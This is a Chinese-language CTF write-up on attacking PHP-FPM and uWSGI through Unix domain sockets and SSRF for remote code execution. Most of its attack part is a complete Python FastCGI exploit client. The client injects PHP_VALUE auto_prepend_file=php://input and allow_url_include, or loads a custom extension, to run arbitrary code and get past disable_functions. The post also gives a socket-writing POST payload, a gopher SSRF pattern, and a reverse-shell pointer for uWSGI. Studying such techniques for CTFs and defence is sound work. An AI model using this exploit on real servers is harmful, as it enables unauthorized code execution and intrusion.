Attack Web-CGI with Socket

To Begin With

水文预警。

这篇是在 TCTF Final 之后写的,主要是为了记录一下 *CTF echohub / TCTF wallbreaker easy / TCTF wallbreaker not very hard 中的打 FPM 来造成 RCE 的解法。(拖到现在还没写完

上面几个题目中都可以使用 Unix Domain Socket 通信来打 FPM 服务,顺便也补一下 SSRF,即 TCP Socket 的方法,其实两种方法是基本类似的,或者传统思路,拿到权限后直接在 localhost 打。

再多嘴一句,因为洞的原理其实比较老了,原理什么的个大佬解释的都很多了,这里记录下细节吧。

原理建议看一下 P神的这篇 Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写 ,如果是新手的话,可以先看 信安之路的 PHP 连接方式介绍以及如何攻击 PHP-FPM

另外,刚开始写就看到大佬发博客了,这里在前面贴一下,内容比较底层 PHP内核分析-FPM和disable_function安全问题

如果还能想起来的话 .. 后面把 Python 的 uwsgi 也补一下。

PHP-FPM

fpm service

说实话,贴了这么多连接,原理部分其实没得写了,写就是多余。还是简单皮一下吧。

PHP-FPM 服务启动后,在 /run/php/ 目录下生成 sock 文件,同时默认监听 9000 端口。所以我们整体的思路就是通过 socket 与 fpm 通信,或者通过 ssrf 与 9000 端口进行通信。

在这里我们可以看一下 nginx 在配置 fpm 时的配置文件:

server {
	listen 80 default_server;
	listen [::]:80 default_server;


	root /var/www/html;

	# Add index.php to the list if you are using PHP
	index index.html index.htm index.nginx-debian.html index.php;

	server_name _;

	location / {
		# First attempt to serve request as file, then
		# as directory, then fall back to displaying a 404.
		try_files $uri $uri/ =404;
	}

	# pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
	#
	location ~ \.php$ {
		include snippets/fastcgi-php.conf;
	#
		# With php7.0-cgi alone:
	#	fastcgi_pass 127.0.0.1:9000;
	#	# With php7.0-fpm:
		fastcgi_pass unix:/run/php/php7.0-fpm.sock;
	}
}

可以看到配置文件中也提供了两种通信方式,如果对 CGI 熟悉或者看了之前的几篇博客,其实我们攻击 CGI 就是类似于模拟 nginx 与 FPM 通信。那我们接下来关注的就是通信过程中我们能够控制的内容。

https://www.php.net/manual/zh/install.fpm.configuration.php 提到

PHP配置值通过 php_value 或者 php_flag 设置,并且会覆盖以前的值。请注意 disable_functions 或者 disable_classes 在 php.ini 之中定义的值不会被覆盖掉,但是会将新的设置附加在原有值的后面。
使用 php_admin_value 或者 php_admin_flag 定义的值,不能被 PHP 代码中的 ini_set() 覆盖。

结合 https://www.php.net/manual/zh/ini.list.php php.ini 中的配置,可以发现就像 P 神说的能够设置 auto_prepend_file 为 php://input,那么就等于在执行任何 php 文件前都要包含一遍POST 的内容。(当然,还需要开启远程文件包含选项 allow_url_include )

当然,除了不能覆盖被禁用的函数外,主要思路是通过覆盖配置,达到可控的文件代码执行的效果,除了上面使用 php://input 外,还可以直接指向一个文件。总结一下的话,常见的利用点主要是: extension_dir=/tmpextension=x.soopen_basedir=/allow_url_include = Onauto_prepend_file = php://input

在 *CTF 中利用了 FPM 绕过了 apache 下面的 disable_func,在 TCTF 中因为是在 FPM 中禁用了函数,需要我们编写一个扩展加载进去,来达到命令执行的效果。这里给个可直接编译的扩展 ant_php_ext。编译时选择和服务器相同的子版本,先安装如 php7.x-dev,之后 phpize && ./configure && make,可得到扩展文件。然后在参数中加入扩展的位置,直接调用扩展中的函数即可。

fpm attack

这里就直接贴代码了,和其他师傅的基本一致。

#!/usr/local/bin python

import socket
import random
import argparse
import sys
from io import BytesIO
import base64

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
       # if not self.__connect():
        #    print('connect failure! please check your fasctcgi-server !!')
         #   return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
        #print base64.b64encode(request)
        return request
        # self.sock.send(request)
        # self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        # self.requests[requestId]['response'] = b''
        # return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
    parser.add_argument('-e', '--ext', help='ext absolute path', default='')


    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    if args.ext != "":
        params['PHP_ADMIN_VALUE']='extension = '+args.ext

    response = client.request(params, content)
    response = base64.b64encode(response)#urllib.quote(response)
    print(response)

需要注意的是,我改了一下参数,如果需要手动指定扩展路径的话,需要使用 'PHP_ADMIN_VALUE' => "extension_dir = /tmp\nextension = ant.so" 的形式。如果需要指定包含的文件而不是 php://input,把 'auto_prepend_file = php://input'php://input 改成文件路径即可,此时 -c 选项可以不用指定。

之后可以发送如下包:

shell=$sock=stream_socket_client('unix:///run/php/php7.0-fpm.sock');fputs($sock, base64_decode($_POST['A']));var_dump(fread($sock, 4096));&A=base64payload

显而易见的是,这种通信的内容与 TCP 通信是相同的,那我们可以利用同样的通信包来 SSRF 打 FPM,如 gopher://127.0.0.1:8000/_urlencode(payload) ,SSRF 相关的注意事项就不在这里贴了,之前的内容贴了好几个。

uwsgi

uwsgi service

在 python 里面也有网关接口协议,现在可以知道 fastcgi 与 wsgi 很多程度上说的是协议,而 php-fpm 可以理解为协议的具体实现。同样的在 python 里面有个实现了 wsgi 协议的服务器 uWSGI,其内置协议就取名为 uwsgi,其实是对 wsgi 的实现和拓展。所以某种层度上说,python 里的 uwsgi 和php里的 php-fpm 地位十分相似。体现在他们都可以作为 nginx 服务应用的接口,提供对 python 和 php 的脚本解析支持。

官方文档:https://uwsgi-docs.readthedocs.io/en/latest/WSGIquickstart.html

常见的 nginx 配置如下:

location / {
    include uwsgi_params;
    uwsgi_pass 127.0.0.1:3031;
}

常见的 web server 应该就是 django 和 flask 了,文档中都给出了快速搭建方法。

查了下这个点在题目中的出现情况,只找到了 RWCTF magic 题目,以及 QWB2019 babywebbb,其实出现的次数还是很少的。贴 RWCTF 的一篇 wp,构造过程还是很详细的:https://xz.aliyun.com/t/3512

(有时间的话这块内容再补补 ..)

uwsgi attack

https://github.com/wofeiwo/webcgi-exploits

利用上面写好的脚本,使用支持的 exec scheme 造成 RCE,最简单的方式之一就是直接反弹shell。

python uwsgi_exp.py -c command -u target

ref

WPs:
http://momomoxiaoxi.com/ctf/2019/06/11/TCTFfinal/#wallbreaker-not-very-hard
https://mp.weixin.qq.com/s/kEdRsereBB7ljc1ooPpzbA tctf
https://xz.aliyun.com/t/5006#toc-3 qwb
https://www.jianshu.com/p/db6e2576b674 qwb
Tools:
https://github.com/wuyunfeng/Python-FastCGI-Client
https://github.com/wofeiwo/webcgi-exploits

Updated At: Author:xmsec
Chief Water dispenser Manager of Lancet, delivering but striving.
Github
comments powered by Disqus